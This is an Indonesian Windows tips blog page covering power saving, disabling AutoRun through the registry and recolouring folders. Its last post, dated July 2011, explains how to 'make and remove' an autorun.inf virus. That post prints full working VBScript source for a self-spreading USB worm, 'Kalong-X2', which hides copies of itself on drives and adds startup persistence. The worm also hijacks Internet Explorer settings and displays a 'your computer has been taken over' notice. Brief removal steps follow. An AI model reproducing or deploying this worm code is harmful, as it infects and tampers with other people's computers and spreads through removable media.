Ketika laptop Anda berjalan pada modus baterai, tidak ada salahnya untuk menghemat baterai laptop Anda agar dapat bertahan lebih lama. Windows 7 telah dilengkapi dengan pilihan untuk menghemat baterai pada taskbar kanan bawah. Ketika laptop Anda berjalan dalam modus baterai, Anda dapat melihat indikator baterai pada kanan bawah desktop Anda.
Taskbar baterai  Windows 7
Klik pada baterai, dan di pop-up pilih Power Saver mode. Efek Windows Aero akan memakan umur baterai secara cepat. Maka dengan modus power saver, Windows akan mematikan fasilitas efek Windows aero, dan juga akan melakukan beberapa tweakuntuk mengurangi konsumsi baterai.
Baterai Windows  7
Ketika Anda mencolokan adaptor cas pada laptop Anda, ada baiknya untuk men-swich kembali pada mode balance.

Cara disable autorun pada Windows

Setiap kali Anda memasukkan USB drive, CD / DVD, dll ke dalam Windows Anda, Windows akan secara otomatis memunculkan sebuah kotak dialog autorun yang memungkinkan Anda untuk memilih aksi dari daftar yang diberikan. Anda dapat menelusuri konten, memutar media file, dll dengan menggunakan kotak dialog autorun.
Kadang-kadang Anda mungkin berpikir jika fungsi autorun menjengkelkan dan mungkin ingin menonaktifkan secara permanen. Di tutorial kali ini, saya akan berbagi cara simpel untuk menonaktifkan fungsi autorun Windows dengan registry.
Cara ini bekerja di hampir semua versi Windows termasuk Windows XP, Windows Vista dan Windows 7.
1. Ketik regedit pada Run (Start >> Run) atau jika Anda mengunakan Windows 7 atau vista ketikan regedit pada Searchbox di start menu.
2. Cari key di bawah ini:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Jika key tersebut tidak ada buatlah key tersebut.
3. Pada sisi kanan panel, menciptakan nilai DWORD baru NoDriveTypeAutoRun dan set nilainya ke salah satu dari berikut sesuai dengan kebutuhan Anda:
FF – To disable AutoRun on all drives
20 – To disable AutoRun on CD-ROM drives
4 – To disable AutoRun on removable drives
8 – To disable AutoRun on fixed drives
10 – To disable AutoRun on network drives
40 – To disable AutoRun on RAM disks
1 – To disable AutoRun on unknown drives
4. Jika Anda ingin menonaktifkan autorun pada kombinasi drive, Anda harus menghitung jumlah nilai. Misalnya, jika Anda ingin menonaktifkan autorun pada drive CD-ROM dan drive removable, Anda harus mengatur nilai 20+4 = 24.
5. Jika Anda ingin mengembalikan fungsi autorun, cukup hapus nilai DWORD NoDriveTypeAutoRun dibuat pada Langkah 3 Atau Anda dapat mengatur nilai default yang diberikan di bawah ini:
Windows 2000: 95
Windows XP: 91
Windows Server 2003: 95
Windows Vista, Server 2008 dan 7: 91
6. Jika Anda ingin menonaktifkan fungsi Autorun untuk semua pengguna di komputer anda, gunakan “HKEY_LOCAL_MACHINE” bukan “HKEY_CURRENT_USER” yang disebutkan dalam Langkah 2.

Mengubah warna folder Windows XP

Meski Windows Vista telah beredar cukup lama, tapi masi banyak pengguna sistem operasi Windows XP. Sekarang bagi pengguna Windows XP, pasti sudah tidak asing lagi dengan fitur Windows Explorer, dimana di situ kita bisa melakukan pengaturan file secara menyeluruh. Nah, biasanya icon untuk folder-folder secara default mempunyai warna kuning, hanya nama folder itu sendiri yang membedakan antara satu dengan yang lain.
Sekarang bagaimana bila ikon folder itu diberi wrna tersendiri? Misalnya untuk folder foto diberi warna merah, sedangkan untuk folder dokumen diberi warna hijau atau yang lainya. Untuk memberi warna tersendiri pada ikon-ikon folder itu tidak terlalu sulit karena hanya membutuhkan satu tools bernama Rainbow Folder.
Ukuran tools ini relatif kecil, hanya sekitar 331 KB saja, untuk mendapatkan tools ini, anda bisa medownloadnya di sini, setelah mendownload tools ini, anda bisa langsung menggunakanya. Tools ini relatif sederhana, jadi untuk pengoprasianya pun cukup mudah. Ikuti beberapa langkah di bawah ini untuk mengubah warna ikon folder.
1. Jalankan Rainbow Folder, aplikasi ini di bagi menjadi tujuh bagian yaitu: Folder, Preview, Color, Hint, Advanced, Confirmation, dan Other.
2. Sebelum warna ikon, tentukanlah terlebih dahulu folder mana yang warna ikonya ingin diganti atau di ubah. Untuk menentukanya bisa langsung ke bagian folder, disitu anda tinggal memilih folder icon nya.
3.Setelah menentukan foldernya, aturlah warnanya sesuai dengan keinginnan anda. Untuk melakukan pengaturanya anda tinggal menggeser slide bar pada bagian Color Hui, sedangkan untuk menentukan kepadatan warnanya, geser slide bar ke arah kanan ke bagian “Saturation”. Untuk mengetahiu hasilnya tekan tombol “Confirm”
4. Bila anda yakin dengan warna tersebut, anda tinggal menekan tombol “Colorize” yang terdapat pada bagian “Confirmation”
5. Lakukan semua cara diatas untuk mewarnai semua folder yang anda inginkan.
6. Sedangkan untuk menetralisir atau mengembalikan warna pada posisi semula, anda tinggal menentukan foldernya dan tekan tombol “Descoloring” pada bagian ” Confirmation”
7. Setelah semua selesai, anda buka Windows Explorer, maka ikon yang tadinya berwarna kuning saja, kini menjadi berwarna seperti pelangi.
Bagaimana?? Indah bukan sekarang tampilan Windows Explorer Anda??

Jumat, 08 Juli 2011

Membuat dan mengusir Virus autorun.inf

Adapun cara membuat virus autorun sebagai berikut:
1. script coding pertama[autorun]
shellexecute=wscript.exe k4l0n6.sys.vbs
simpan coding tersebut dengan nama dan ekstensi file “autorun.inf” (tanpa tanda petik)
2. script coding kedua
‘Kalong-X2
‘Varian dari Kalong.VBS
on error resume next
‘Dim kata-kata berikut
dim rekur,syspath,windowpath,desades,longka,mf,isi,tf,kalong,nt,check,sd
‘siapkan isi autorun
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.sys.vbs”
set longka = createobject(“Scripting.FileSystemObject”)
set mf = longka.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
‘buat file induk
Set windowpath = longka.getspecialfolder(0)
Set syspath = longka.getspecialfolder(1)
set tf = longka.getfile(syspath & “\recycle.vbs”)
tf.attributes = 32
set tf = longka.createtextfile(syspath & “\recycle.vbs”,2,true)
tf.write rekur
tf.close
set tf = longka.getfile(syspath & “\recycle.vbs”)
tf.attributes = 39
‘sebar ke removable disc ditambahkan dengan Autorun.inf
for each desades in longka.drives
If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path <> “A:” then
set tf=longka.getfile(desades.path &”\k4l0n6.sys.vbs”)
tf.attributes =32
set tf=longka.createtextfile(desades.path &”\k4l0n6.sys.vbs”,2,true)
tf.write rekur
tf.close
set tf=longka.getfile(desades.path &”\k4l0n6.sys.vbs”)
tf.attributes = 39
set tf =longka.getfile(desades.path &”\autorun.inf”)
tf.attributes = 32
set tf=longka.createtextfile(desades.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = longka.getfile(desades.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘Manipulasi Registry
set kalong = createobject(“WScript.Shell”)
‘Ubah IE Title
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”:: X2 ATTACK ::”
‘Ubah tulisan pertama pada text box menu RUN
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\a”, “KALONG-X2/1″
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\MRUList”, “a”
‘Buat pesan saat Windows Startup
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “KALONG-X2″
kalong.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText”, “Komputer Anda Diambil Alih”
‘Aktifkan saat Windows Startup
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Ageia”, syspath & “\recycle.vbs”
‘Ubah Default Start Page Internet Explorer
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page”, “http://www.vaksin.com”
‘Bonus
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(“Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
simpan coding tersebut dengan nama dan ekstensi file “k4l0n6.sys.vbs” (tanpa tanda petik)
secara otomatis virus tersebut akan menyebar melalui flashdisk dan menginfeksi komputer yang kita gunakan. Untuk mengetahui komputer terkena virus autorun dapat menggunakan software iKnowPS sehingga akan terlihat frekuensi tampilan kerja komputer yang terlihat sangat sibuk.

Adapun cara menanggulangi virus tersebut yaitu dengan cara:
- tekan menu Tools > Folder Options… > View > unchek Hide Protected operating system files (Recommended) > yes > OK
- sehingga secara otomatis akan terlihat tampilan file virus yang terhidden tersebut
- langkah selanjutnya yaitu dengan cara membuka dan mempelajari script coding file virus tersebut. Dan mempelajari bagian-bagian mana saja yang settingannya dirubah, terutama pada register editor (menu run > ketik regedit > OK)
- setelah itu, file tersebut dihapus/di delete dari komputer

atau lebih cepatnya pake serangan langsung:
attrib -s -h /s /d ketik ini di notepad......trus save pake extensi .bat

trus save di tempat yang di hide foldernya ama tuh virus... buka tuh filenya.....
tar juga ke unhide ko...
...lalu hapus filenya
Semoga tulisan ini, bisa bermanfaat dan berguna untuk semua orang.